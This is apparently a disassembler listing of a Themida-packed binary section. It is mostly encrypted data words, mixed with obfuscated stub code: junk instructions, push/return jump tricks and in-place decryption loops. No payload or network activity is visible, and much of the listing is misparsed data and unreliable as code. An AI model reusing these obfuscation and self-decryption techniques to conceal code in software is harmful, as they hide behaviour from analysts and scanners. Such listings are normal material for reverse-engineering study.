dd 15E50000h, 896E8A97h, 8F98F06Fh, 0EA3C3DEFh, 70C84957h dd 0F751CFDDh, 7ED85664h, 3C80FC38h, 27E093B7h, 0B637E06Fh dd 62A7C66Ah, 0F3CA96F8h, 0AC27E0FFh, 30B446C6h, 237547DAh dd 73D553C1h, 0AF09872Dh, 0CB21A58Bh, 91046638h, 62E09E0Bh dd 57EA48C8h, 0CEA03385h, 7214587Ch, 0C021F2F4h, 0B7F21056h dd 387F294Eh, 0FCCE61B7h, 0EC965FF3h, 0D532769Ah, 95D81A96h dd 0A021072Bh, 69C32448h, 652F07CCh, 0BE648AECh, 6CD113Dh dd 0E5D439AAh, 39AA52A1h, 0E92E98D4h, 166EF17Fh, 4E3D6BC4h dd 0C0C3F5B1h, 1C1D3h, 77D14E00h, 0B1078B31h, 0EF45C56Bh dd 248403A9h, 61B738DEh, 0F9C5DD1Bh, 34DA2078h, 6F155BB1h dd 0A74D93EDh, 5289CF29h, 0ED7182C6h, 287921F8h, 16997FF7h dd 6DEE5CBEh, 0A927CD13h, 6BAF2B4Fh, 27E03298h, 0CDB43F83h dd 0CC36D81Fh, 95BB1D87h, 0B60C9D7Ch, 13C84E92h, 208A21F2h dd 0ECD6218Dh, 0A032DE0Dh, 1CAF2BDFh, 72EE5AF8h, 0DE0A52Eh dd 59BB25DEh, 0B5F2h, 97155900h, 6EF08405h, 6133C618h dd 0F2D87C0Fh, 7861472h, 60E14FB1h, 30097508h, 8127E036h dd 2081A503h, 699F69CFh, 6E94F687h, 59EC4AC8h, 5B2DD6D3h dd 67AC2DFAh, 14A7FD7Dh, 7A9EF042h, 0DF61036h, 3278E2DEh dd 0B2F9514h, 0B74AA225h, 0F104CF13h, 5CC6DE0Dh, 60A4A80Ah dd 0D8195B86h, 0F0D6FA64h, 2DD3196Fh, 93FB54ACh, 19F5B1CEh dd 0D42916h, 0E4610000h, 14983E84h, 52D278BEh, 8908AEF4h dd 0BE3FE52Bh, 0C4DE1C62h, 0D51B75F6h, 0E54AC2Fh, 4A90E668h dd 8AD026A4h, 7083C753h, 7A21F8D2h, 9415F829h, 0D4BAF63Ch dd 9668FB51h, 0EE48C634h, 1E7F8FA8h, 9E1FA8Dh, 0CE3C9E9Ch dd 5563F650h, 0FF3B81D7h, 0A73A9A19h, 1C8D73D5h, 0CC3E82A6h dd 0AE21F81Bh, 910DB144h, 81A864Dh, 1A9E44DEh, 0A21072C4h dd 0B89EC224h, 577DDF35h, 42D533B1h, 15DE229Eh, 8CDE081Ah dd 5172B70Dh, 0F6826CECh, 6FD123D8h, 322CA3A3h, 5A1DA7CBh dd 33D9E664h, 3F18ED4Ah, 670D53A5h, 856B8FE9h, 98F07103h dd 7FE1B346h, 297FFE0Ch, 76391396h, 0E779FCE2h, 0A5770A66h dd 583F153h, 39B75DA3h, 35F4CDFh, 96000000h, 98151A8Bh dd 219FAD40h, 0A42634C7h, 26A9B74Ah, 0AC2D3BCEh, 32B3C154h dd 0B63543D6h, 3DBDCB5Eh, 0C24654E7h, 5622D96Ch, 0C681E689h dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 66D5685Ch, 3C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 618D6F4h mov edi, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push edx mov edx, edi mov [ebp+8], edx mov edx, [esp] add esp, 4 mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_59027A ; --------------------------------------------------------------------------- db 0C7h, 0A9h, 0B0h dd 0D327FE49h, 0E1ADB850h, 0C5030618h, 0FE1AE0FFh, 60277E61h dd 410F5D6Dh, 0EBED39C2h, 0A242268Bh, 0BB4304Ch, 8E5B481Fh dd 0F79D1ACAh, 0C7374916h, 0FC8223C1h, 720D6A2Ch, 410112E1h dd 0A13D00FDh, 20F01384h, 0D042799h, 70B561E1h, 0ECD40117h dd 5E6B3165h, 4DD7288Bh, 0CC92566Ch, 0C86736E3h, 121C6D58h dd 0B9B47D0Fh, 0D80D1200h, 0B3F30414h, 0D1E354F1h, 85875F3Eh dd 0F59B71D0h, 654F19BCh, 6FA957CAh, 0DC48083Dh, 50412D7Dh dd 13E8187Ah, 61000000h, 5281C675h, 0B173519Ah, 78FDAC27h dd 97565687h, 72B5552Eh, 8B665058h, 0C0815BDAh, 61A2h dd 3A68EA8Ah, 60000018h, 8B66D38Bh, 605E61DAh, 0FD68B66h dd 28Ch, 61585200h, 13E930FFh, 92000000h, 82E20198h, 0E8BF804Ah dd 0E2F90882h, 0D1D2E04Ah, 805A19A5h, 0EA81EAC9h, 6DF07081h dd 0FDCF8166h, 1CEA813Dh, 0F0B0900h, 0EA81C8B7h, 342BC3CEh dd 1D5FBA60h, 896128B1h, 0CEBF0F10h, 6604E883h, 0F4EDA8Bh dd 0FFFFAF85h, 5E8FFh, 66EE0000h, 0E8149E11h, 13h, 71490D5Ah dd 41EEA554h, 505C3B81h, 6370144Fh, 0E9804F7Ch, 7, 6F9DC34Ch dd 5936918Ch, 32E95Bh, 60DF0000h, 552h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5EA338 ; --------------------------------------------------------------------------- push 618E4DEh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 618E558h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 618E6B3h jmp loc_583BD9 ; --------------------------------------------------------------------------- xchg eax, ecx add [edi], cl retn 6329h ; --------------------------------------------------------------------------- db 0ACh, 5Fh, 0C6h dd 65FE4BC4h, 0FF98E52Ah, 4434818Eh, 0FF107D71h, 9D7219B2h dd 36D9B750h, 0D13E50E9h, 535BAA84h, 4DF84334h, 9A536A47h dd 0BDE419F6h, 0F842D2B5h, 3BA6B14Dh, 93147AA8h, 0B481B575h dd 5C6D00CBh, 0E0A9DE31h, 0B71461AEh, 8C7AEh, 49F1EF4Ah dd 394E56B5h, 4A4DF1CFh, 0F78803Fh, 6C4DF1CFh, 0A9C1F661h dd 4DF1CEE2h, 0F451D211h, 0FFEE020Ch, 0FAE733C6h, 0AE583393h dd 2D1E824h, 9B3A0000h, 0EDD4DDAEh, 0F817752Eh, 26DFF665h dd 35DAB465h, 61C22D00h, 0D9ACE12Eh, 7568E646h, 949F49F1h dd 0DBB36343h, 0C1548B4h, 384F6625h, 56D25730h, 0B8192443h dd 300338D7h, 0EA613D9Dh, 39444568h, 876E7704h, 0F503C0C8h dd 65704756h, 70788FA6h, 4356BF17h, 0B5C65964h, 0F2E936D9h dd 0BEB4D3DBh, 0BCC74356h, 99761829h, 0CE67621Ah, 642BD016h dd 2D3h, 0C512FD94h, 62AF602Ch, 14EC1C9h, 9BE82768h, 37848B02h dd 0D806E47h, 6F1CB502h, 0D6BA53A0h, 3B53EC39h, 5EAD87D4h dd 0F8443156h, 9F75524Dh, 0DD325B14h, 316C754Ah, 0C8FD1278h dd 604245F5h, 364147DFh, 37040CCBh, 6549F639h, 9A2DE2ACh dd 9CEBF352h, 164DF842h, 0F7029A75h, 7914CD8Ch, 0DDB04996h dd 0A7E5FD32h, 0D14DF842h, 25D352BDh, 0D145E24h, 259A168h dd 771A0000h, 0DAB24B98h, 3B4FE835h, 0A1EE87D4h, 588216Eh dd 0E8CDBD0Ah, 3B888706h, 0D926E9A2h, 72BF5040h, 0D5AB5D9h dd 0ABDCE433h, 0D84DF844h, 931425FBh, 0C5CEC428h, 875CEFD6h dd 0D0D8977Eh, 49F6B66Bh, 75121A31h, 64DF7FDh, 152068FBh dd 0B638B9E0h, 7DD9404Ch, 0A3E848DBh, 504DF783h, 0CDE4AD34h dd 0F783C2C5h, 23B6C14Dh, 0A4C6DEB6h, 16D0B24h, 725D0000h dd 0F5BEF31Ch, 32297699h, 0E12E621Bh, 0DF5F5631h, 871A2547h dd 0FDBCA9B2h, 0D9971D7Ch, 0BB4EAA66h, 0DE4A444Ch, 323D49F1h dd 39D6BA73h, 0B99E3104h, 0F1DDEAA1h, 4FC0D04Dh, 0E039511Ah dd 592C61AEh, 0F23B9EEh, 0C9E50DD2h, 9C117118h, 33C624AEh dd 18000000h, 1C0A5AEh, 0F17ECDF9h, 38581149h, 3CCFA2D7h dd 9CB4E9F4h, 4DF180EFh, 1B50BFCBh, 9CD13E52h, 19BE23D7h dd 850CD5F1h, 24AEDF0Dh, 0A7DAh, 1C722C00h, 98F5BEF3h dd 15794277h, 19848B04h, 9C731BE4h, 5B0A674Fh, 1E7047DFh dd 117932F1h, 116E6BFEh, 435A1908h, 0DF634C3Bh, 91242F47h dd 5FF1A22h, 0D1DC49F2h, 87345912h, 0F40E087Fh, 36D9B24Dh dd 0DB28939Eh, 0C2C5CDE4h, 0C14DF40Dh, 7B1223B6h, 97911594h dd 3CE1EBADh, 0FE75h, 3DD2BF00h, 0DA3557F0h, 7996F48Dh dd 13FC932Ch, 0AF602DC6h, 0AB437262h, 47E02DE2h, 0E57ECB44h dd 7E1764ABh, 0D8B2FF10h, 46068189h, 98754DF8h, 0A01B72C2h dd 0BC6CA3E7h, 47DF5FCBh, 444CADB8h, 7A1360CBh, 0F8AEFB14h dd 0BEF31C72h, 297699F5h, 1FDEC3CCh, 0F1ADE917h, 0AC9D449h dd 153C51h, 0AE5CF6D8h, 7C93F758h, 0AFDCC411h, 0B4DF1B4h dd 0A63F8C83h, 2CF328E7h, 83h, 51363E55h, 324DF1B4h, 0AE669427h dd 8001C0A5h, 1DBBB83Bh, 0D0D89748h, 47E04DB7h, 0B726B9C4h dd 0F72790AFh, 0E3182349h, 4E9B741Ah, 1DF29E57h, 718215E8h dd 7C93FC1Dh, 0C7C4DC11h, 264AA1F4h, 0FDB6CF12h, 0DCED808Fh dd 0E72867B2h, 0E4672028h, 9144D31h, 0D6B8519Eh, 543B0439h dd 0F2DE86BBh, 759AF4EFh, 0BCFF8F28h, 31E4D3B4h, 44A5B04Dh dd 0BC8FC44Bh, 8551C51h, 0BF000000h, 503AF322h, 72FE2CBFh dd 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h, 0C9FE11h dd 844D828Dh, 6CF040Bh, 8D568B84h, 0D4DB10FFh, 6CAD68h dd 24048900h, 405E089h, 83000000h, 48704E8h, 89565C24h dd 4C681E6h, 83000000h, 348704EEh, 0C895C24h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 18E3E168h dd 240C8B06h, 5404C483h, 83242C8Bh, 815104C4h, 4E7D242Ch dd 458F1D70h, 8458108h, 1D704E7Dh, 5D2434FFh, 4C481h, 0C8B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_583BD9 ; --------------------------------------------------------------------------- db 91h, 6Dh, 33h ; --------------------------------------------------------------------------- loc_5EA338: ; CODE XREF: Themida_:005E9E98j mov eax, 618E7D6h add eax, ebp jmp eax ; --------------------------------------------------------------------------- align 2 dw 55AAh dd 0F365787Fh, 0DAFD5C3Dh, 0A32FF10h, 0B59A4C0Fh, 6039E1Ch dd 0A1BAE912h, 0B4762237h, 143B6403h, 439F7A6Bh, 1A086F66h dd 7D456379h, 282FAD78h, 0DF567611h, 0FA93482Dh, 7715041Eh dd 8C884D05h, 6E5C5C2Ah, 0F9EF223Eh, 0D006590Fh, 37C2666Ah dd 0AF71DA32h, 25A32429h, 1B3F1A7Ch, 0DF83C44Ch, 2DDDD823h dd 64CA0B27h, 0BACD60Dh, 0B13AC173h, 0B6B66A0Fh, 5E803h dd 0ABD30000h, 805E900Dh, 0B35913DFh, 0F9C18123h, 6000006Fh dd 47BE6660h, 61A9B7D6h, 0CE88BA66h, 1BBC6861h, 14E90000h dd 30000000h, 0E18B827Dh, 0CD5DD1BAh, 139AC44Ch, 0BD7A226Fh dd 5E47620Dh, 0FFFE8B66h, 10E86031h, 0BA000000h, 881E7B33h dd 96673CD4h, 0AE2D7DDDh, 60FC2A62h, 8E85961h, 0F4000000h dd 0EECA325Dh, 0BE9D85D8h, 54E0DA9Bh, 6658615Bh, 81CCA2BAh dd 550401E8h, 2FBA665Fh, 96C0817Bh, 0F1EDF0Ah, 0E881D3B7h dd 2B7EFCC7h, 18820F60h, 0E9000000h, 13h, 9BD5618Eh, 267693E5h dd 0F9057F42h, 4B44CDC5h, 80D4E2EBh, 506108D4h, 2810F56h dd 51000000h, 18F5B5Bh, 689CBB66h, 0F02E983h, 582h, 0F7816600h dd 49495569h, 1EE81F5h, 0F000000h, 1085h, 1BA6600h, 25E99Dh dd 0B10D0000h, 0B0D30739h, 0EE9B3h, 0D1020000h, 7ECD87F5h dd 0E71B250Dh, 8AE3083Ch, 0FFFF3AE9h, 0BC0B4EFFh, 8D8E74BFh dd 18EADF8Dh, 0C2816606h, 890F94D3h, 6, 21A5958Bh, 8D890612h dd 6122DCDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 6DC35141h, 8E20302Ch, 0A5EBA66h, 31BD85C7h, 5B9C0612h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0DF75C0C3h, 7D95897Bh, 57061216h, 11840Fh dd 0CE90000h, 34000000h, 0F69095AFh, 0B5D754DBh, 5F334F45h dd 1185C7h, 612h, 0BB660000h, 0B5FFEA34h, 61214C1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h, 0D38B0B3Fh dd 29019D89h, 95FF0612h, 6122781h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 26C35040h, 6AF935h, 29D195FFh dd 0C08B0612h, 8D1F4CEBh, 2B5E176Dh, 1AE22958h, 938873D2h dd 0DEA94DABh, 7C077CDBh, 46046BB3h, 90C39103h, 33057974h dd 7AEEBCCCh, 8D2191F1h, 3E7019CFh, 4AAF5C2h, 9570F6A7h dd 0C864287Bh, 9C6EA445h, 0F9D56F3Ch, 56974E75h, 3BCE10A6h dd 8D8D02C3h, 618EC13h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 43C35242h, 98C174B8h, 92FA3006h, 0C5858B60h dd 0E8061218h, 11h, 0B3463410h, 19E8FC95h, 6937DA6Bh, 5B6489EFh dd 59DFB5EDh, 0CD8D8961h, 6A06122Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BC20C352h dd 6880FE2h, 9000000h, 121D2DBDh, 0BD85C706h, 80061231h dd 9000071h, 122F39B5h, 1185C706h, 61200h, 0F000000h, 685h dd 9DBD0100h, 0FF061213h, 1231F1B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 5C836471h dd 0E8816918h, 6F60F5D6h, 0D3B70F52h, 8195FF5Bh, 80061227h dd 6A2DC3h, 29D195FFh, 0C08B0612h, 0CB307EEBh, 6D6FA4A4h dd 428362F1h, 0E3328CFAh, 42B54274h, 0F3E4BF2Ch, 9C5F1EA8h dd 7349FF7Fh, 9793F4A9h, 9BBFE945h, 36905507h, 6F8603EDh dd 0A91FF9FFh, 0D1C6C5F8h, 353DE431h, 0BC213E41h, 0E522706Dh dd 79818FF4h, 0D5EEB148h, 0F79888F2h, 0D876BD4Dh, 0B39153BDh dd 718327EEh, 0DD8CDB4Eh, 0A62A4CEBh, 546308BCh, 1845A1Fh dd 269DD856h, 0B480197Fh, 0E02F3081h, 746B8341h, 0C72FEDAAh dd 0FE8h, 75B1F100h, 0EAEB1396h, 0B8C65A11h, 0BFF95F61h dd 0E95BF28Bh, 11h, 0ED17021Fh, 65D3AA5Ah, 0B04454AAh dd 3DAE4EDAh, 88C38187h, 89000064h, 120C41B5h, 18F6BF06h dd 95330000h, 612038Dh, 89500B8Bh, 121AC985h, 0F1815806h dd 569974DAh, 32099529h, 0F1810612h, 798ECC4Bh, 706FF081h dd 0C1812F09h, 117A0B31h, 0DA816651h, 38FC6CCh, 11D9BD01h dd 0EB830612h, 664BF803h, 0F4FF38Bh, 2085h, 0FE95000h dd 52000000h, 4AD0A8C5h, 145A4F76h, 6A25925Dh, 0E95EBD3Ch dd 15h, 7463E8D6h, 48B866C2h, 0FF92E91Fh, 27A8FFFFh, 0D85D2AEDh dd 208D8DCAh, 0B60618EEh, 0CD8D8933h, 6A06122Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 52E9C357h, 0D1D78072h, 60A1E670h, 9D29D18Bh, 6120B71h dd 0BD85C761h, 7C061231h, 6A000062h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 67D9C356h dd 0A62612ADh, 1185C7h, 612h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 11236C3h dd 0BF9BC7D4h, 6FED16A6h, 25B1B5FFh, 6A0612h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 912D1EC3h dd 95FFE68Ah, 6122781h, 0DB816660h, 6A61B829h, 0D195FF00h dd 8B061229h, 0BE0EEBC0h, 6CC6966Eh, 0BF6FC62Bh, 0F725B1C1h dd 0F68D8D50h, 6A0618EEh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 7DB4C350h, 0BF6660FEh dd 880F4B45h, 0 ; --------------------------------------------------------------------------- popa mov bh, al mov [ebp+6122DCDh], ecx mov ax, cx mov dword ptr [ebp+61231BDh], 6554h push 0 push esi call sub_5EA95D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EA95D proc near ; CODE XREF: Themida_:005EA955p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5EA95D endp ; --------------------------------------------------------------------------- and [ebx-4046C96Ch], esp sub ebp, [ebx] push edi test [eax-7Fh], ah retf 20D6h ; --------------------------------------------------------------------------- mov eax, ds:0E9B58B1Dh add dl, [edx] push es popa mov dword ptr [ebp+6120011h], 0 add ax, 80FAh push dword ptr [ebp+6122D79h] push 0 push edi call sub_5EA9A5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EA9A5 proc near ; CODE XREF: Themida_:005EA99Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5EA9A5 endp ; --------------------------------------------------------------------------- stosd fist word ptr [ecx-5F8E0259h] mov edi, edi xchg eax, ebp and dword ptr [edi], 0EE810612h lodsb mov dl, 0D3h pop ds push 0 call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_5EA9F4 ; --------------------------------------------------------------------------- db 85h, 0C7h, 22h dd 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h dd 0E31E249Eh, 579CB740h ; --------------------------------------------------------------------------- loc_5EA9F4: ; CODE XREF: Themida_:005EA9D3j call loc_5EAA0B scasb mov dl, 0ABh mov ds:32F3066Dh, al lock retn ; --------------------------------------------------------------------------- mov eax, ds:8F255D9h leave ja short loc_5EAA82 loc_5EAA0B: ; CODE XREF: Themida_:loc_5EA9F4p mov ecx, [ebp+61228D1h] pop eax mov ecx, [ebp+61210E9h] add eax, 5CB1h mov cx, 5ECDh mov edi, 20F837EEh add edi, 0DF07DF1Dh jp loc_5EAA37 mov dx, 6630h loc_5EAA37: ; CODE XREF: Themida_:005EAA2Dj ; Themida_:005EAA79j mov esi, [eax] jb loc_5EAA45 mov [ebp+61210BDh], eax loc_5EAA45: ; CODE XREF: Themida_:005EAA39j sub esi, 50CFE0E4h mov dl, 3 xor esi, 6B41A0C5h mov dl, ah add esi, 56BB620Ah push esi mov ecx, esi pop dword ptr [eax] xor cl, 82h sub eax, 1 sbb dx, 9D62h dec eax dec eax dec eax push ebx mov [ebp+6121D59h], edx pop ebx sub edi, 1 jnz loc_5EAA37 xor cl, 56h loc_5EAA82: ; CODE XREF: Themida_:005EAA09j call sub_5EAA9B bound eax, [ecx] test [esi+406420A6h], ah outsb xor bl, 4 ; --------------------------------------------------------------------------- db 8Eh dd 0E428FB8Fh db 0BAh, 46h, 69h ; =============== S U B R O U T I N E ======================================= sub_5EAA9B proc near ; CODE XREF: Themida_:loc_5EAA82p pusha mov dx, ax mov cx, ax popa pop ebx jmp loc_5EAAB4 ; --------------------------------------------------------------------------- db 0Bh, 74h, 0Ah dd 0CE16D42Ah, 99729561h ; --------------------------------------------------------------------------- loc_5EAAB4: ; CODE XREF: sub_5EAA9B+9j add ebx, 6206h push 1862h xor [ebp+6122E2Dh], eax pop edx mov [ebp+612178Dh], edx loc_5EAACC: ; CODE XREF: sub_5EAA9B+62j mov eax, [ebx] movzx edi, di xor eax, 2736A761h mov cl, 5Bh sub eax, 672878C4h sub eax, 650A9C99h jnp loc_5EAAED mov cl, bl loc_5EAAED: ; CODE XREF: sub_5EAA9B+4Aj mov [ebx], eax add [ebp+61219CDh], edx sub ebx, 4 mov cl, 0E6h sub edx, 1 jnz loc_5EAACC mov esi, [ebp+6122E9Dh] lea ecx, [ebp+618F0E6h] push esi mov al, cl pop edx mov [ebp+6122FFDh], esi mov [ebp+6122DCDh], ecx push 0 push edx call sub_5EAB2A and [edx-3Dh], bl sub_5EAA9B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EAB2A proc near ; CODE XREF: sub_5EAA9B+87p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5EAB2A endp ; --------------------------------------------------------------------------- dw 4BE4h ; --------------------------------------------------------------------------- pusha movzx eax, dx popa mov dword ptr [ebp+61231BDh], 60F0h mov al, 1 mov dword ptr [ebp+6120011h], 0 push 0 push edx call sub_5EAB62 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EAB62 proc near ; CODE XREF: Themida_:005EAB5Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5EAB62 endp ; --------------------------------------------------------------------------- dw 856Fh dd 0FFC5525Ah, 1214C1B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0B3940E59h dd 0E660C7E3h, 0C5852B51h, 1061232h, 1218BD95h, 8195FF06h dd 89061227h, 121CC1B5h, 0FF006A06h, 1229D195h, 0EBC08B06h dd 1D84764Ch, 4953D569h, 0AB18C8Fh, 0D9587B65h, 1D24734Eh dd 0DCCB2C9h, 0B7910F1Bh, 0A5158DB7h, 2462D885h, 0F0421122h dd 0B378C933h, 94D32B87h, 0A17C5DE6h, 8ABA20DCh, 8D56DCCFh dd 0B8E9A4BEh, 8E7049AAh, 7624F643h, 62DACCB1h, 0FC8D8DDEh dd 600618F1h, 18A5BD09h, 0BD230612h, 6122645h, 0CD8D8961h dd 0F06122Dh, 58Dh, 0F7816600h, 0CE80246h, 95000000h, 677B7A98h dd 0F16BEEAFh, 8958BF30h, 1208858Dh, 85C75806h, 61231BDh dd 72DCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 92C35242h, 1185C7FCh, 61200h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 60AFC353h, 0A5858960h, 8B06122Fh, 0FF6161FBh, 1229B1B5h dd 0BF0FF806h, 8195FFC3h, 0F061227h, 10E9DBB7h, 14000000h dd 0C89863ECh, 0BBDE89B9h, 80AD1DE0h, 6A0462F8h, 0D195FF00h dd 8B061229h, 0E64AEBC0h, 8BA73FC3h, 29F67E94h, 439D8FC0h dd 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h, 9F0013C5h dd 1A332BA7h, 2B218799h, 0D23DDBA5h, 1CDDAF2Ch, 18D99A4Ah dd 8930CB3Ch, 3D1890D7h, 80547641h, 0C9A8B459h, 781F0257h dd 0C98D8DB9h, 890618F2h, 122DCD8Dh, 0C794B606h, 1231BD85h dd 711806h, 99953300h, 0F061221h, 688h, 6DBD3100h, 0C706121Ch dd 12001185h, 6, 0D9B58B00h, 89061222h, 12271995h, 41B5FF06h dd 8B061208h, 8195FFDAh, 6A061227h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 98BDC350h dd 3F492312h, 9D89B2EDh, 61228C1h, 95FF006Ah, 61229D1h dd 1AEBC08Bh, 0DCE4A58h, 0DCE5FA75h, 17F36104h, 4A8DAA94h dd 3F67CBE1h, 52E578FBh, 0FE8BF36h, 0F1000000h, 0C69BA0E1h dd 3C3E42DFh, 75E3E931h, 0B70F1A70h, 0C2815AFAh, 62FFh dd 0BD8BC933h, 61224D5h, 661134FFh, 5BF72CBEh, 911DF681h dd 0C3815ED3h, 30BC4065h, 6E9h, 4AC34300h, 81763347h, 89DD95C3h dd 0FE48027h, 469EC381h, 89FC0212h, 0EE80A1Ch, 71000000h dd 762CAB24h, 644CED89h, 49EFA9FCh, 0A18D0183h, 5F06122Dh dd 6002E983h, 348D9589h, 11E90612h, 9C000000h, 0E802D62Ah dd 0B4735EEFh, 9EA2824Ah, 399209E7h, 8B494961h, 121559BDh dd 0BCF98106h, 0FFFFF9Dh, 0D85h, 0C6BF0F00h, 15E9h, 7EB94700h dd 0BD8BB141h, 6120335h, 0FFFF67E9h, 549F37FFh, 8D8D7FFBh dd 618F4A7h, 68B0Fh, 95890000h, 6121451h, 2DCD8D89h, 880F0612h dd 0Ah, 4850Fh, 0BE660000h, 85C76F2Ah, 61231BDh, 6AB8h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3BC35747h dd 0B4833C90h, 1185C75Ah, 61200h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 44CCC355h, 0F9FA91E8h, 2DBD8D29h, 0B5FF0612h, 6120C89h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 41C35141h dd 0D014EFFEh, 14E986h, 0EB7C0000h, 0BDAECEADh, 0C7874F59h dd 0B7D9A354h, 64D857EFh, 95FF0478h, 6122781h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D3C35141h, 0B1329A3Dh dd 1591958Bh, 0BF660612h, 6A618Dh, 29D195FFh, 0C08B0612h dd 6A7A4AEBh, 8357009Bh, 410219A1h, 0F13D88CDh, 8B4198D2h dd 4CA2581Eh, 94AE27D3h, 94B2E113h, 0F5DC8407h, 159A5EA4h dd 866F578Ch, 0EC93DB13h, 0C6106ED0h, 0AF94DAB6h, 68F275F5h dd 63CF57ECh, 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 0FE8h, 0BD284A00h dd 0A83DE9E3h, 5F8D3138h, 0AB166B35h, 68C0Fh, 95290000h dd 6122EF1h, 7D9D8B5Eh, 81061227h, 6C12C6h, 159D8B00h dd 0BA061204h, 0 ; --------------------------------------------------------------------------- jmp loc_5EB01B ; --------------------------------------------------------------------------- db 9Bh, 0D9h, 0BFh dd 31ED8C8Bh, 743E4A28h db 3Fh, 2Eh, 6Dh ; --------------------------------------------------------------------------- loc_5EB01B: ; CODE XREF: Themida_:005EB008j ; Themida_:005EB093j mov edi, [esi+edx] pusha jmp loc_5EB030 ; --------------------------------------------------------------------------- dd 0AB34E372h, 11A0B9Ch, 0CCAD510Ch ; --------------------------------------------------------------------------- loc_5EB030: ; CODE XREF: Themida_:005EB01Fj popa add edi, 42FD8A22h mov bl, cl xor edi, 206EF7A8h pusha push edi movsx ebx, ax pop edi xor ah, 33h popa sub edi, 0E4F2617h push edi sub ecx, 6BE1B196h pop ebx push edi mov cx, 8DD2h pop dword ptr [esi+edx] mov eax, ecx pusha push ecx jnb $+6 pop edx jmp loc_5EB07B ; --------------------------------------------------------------------------- db 0A1h ; --------------------------------------------------------------------------- lds esp, [ebp+6Ch] shr dh, 1 mov ah, 0D6h db 64h scas byte ptr es:[edi] sti loc_5EB07B: ; CODE XREF: Themida_:005EB06Aj popa sub edx, 2 sub [ebp+6120B39h], eax dec edx dec edx mov [ebp+612304Dh], ebx cmp edx, 0FFFF94B4h jnz loc_5EB01B mov ebx, [ebp+612328Dh] call sub_5EB0A9 pushf into iret ; --------------------------------------------------------------------------- db 0D0h ; --------------------------------------------------------------------------- dec ebx ; =============== S U B R O U T I N E ======================================= sub_5EB0A9 proc near ; CODE XREF: Themida_:005EB09Fp and ch, 7Bh pop ebx mov [ebp+6120C8Dh], ecx add ebx, 7324h movzx ecx, di mov esi, 1C9Ch mov ecx, 7DFB7F2Ch loc_5EB0C6: ; CODE XREF: sub_5EB0A9+A0j mov eax, [ebx] mov edx, 32D45612h sub eax, 2053A7EEh sub eax, 4D98A5E6h movsx edi, cx sub eax, 3A786C47h mov edi, [ebp+6122C45h] mov [ebx], eax push edi jmp loc_5EB101 ; --------------------------------------------------------------------------- dd 35C8B439h, 1CE2636Eh, 0D6A31B61h, 7AF03309h db 63h ; --------------------------------------------------------------------------- loc_5EB101: ; CODE XREF: sub_5EB0A9+42j pop edi sub ebx, 2A8BE833h jmp loc_5EB11D ; --------------------------------------------------------------------------- db 0DEh, 55h, 51h dd 0B52220B4h, 0F594F822h, 31FC8C4Ch db 0A9h ; --------------------------------------------------------------------------- loc_5EB11D: ; CODE XREF: sub_5EB0A9+5Fj add ebx, 2A8BE82Fh xor [ebp+6122685h], edi dec esi jnz loc_5EB143 mov [ebp+6123435h], edx jmp loc_5EB15C ; --------------------------------------------------------------------------- db 50h dd 0D368DFECh db 0A3h, 8Eh, 0ACh ; 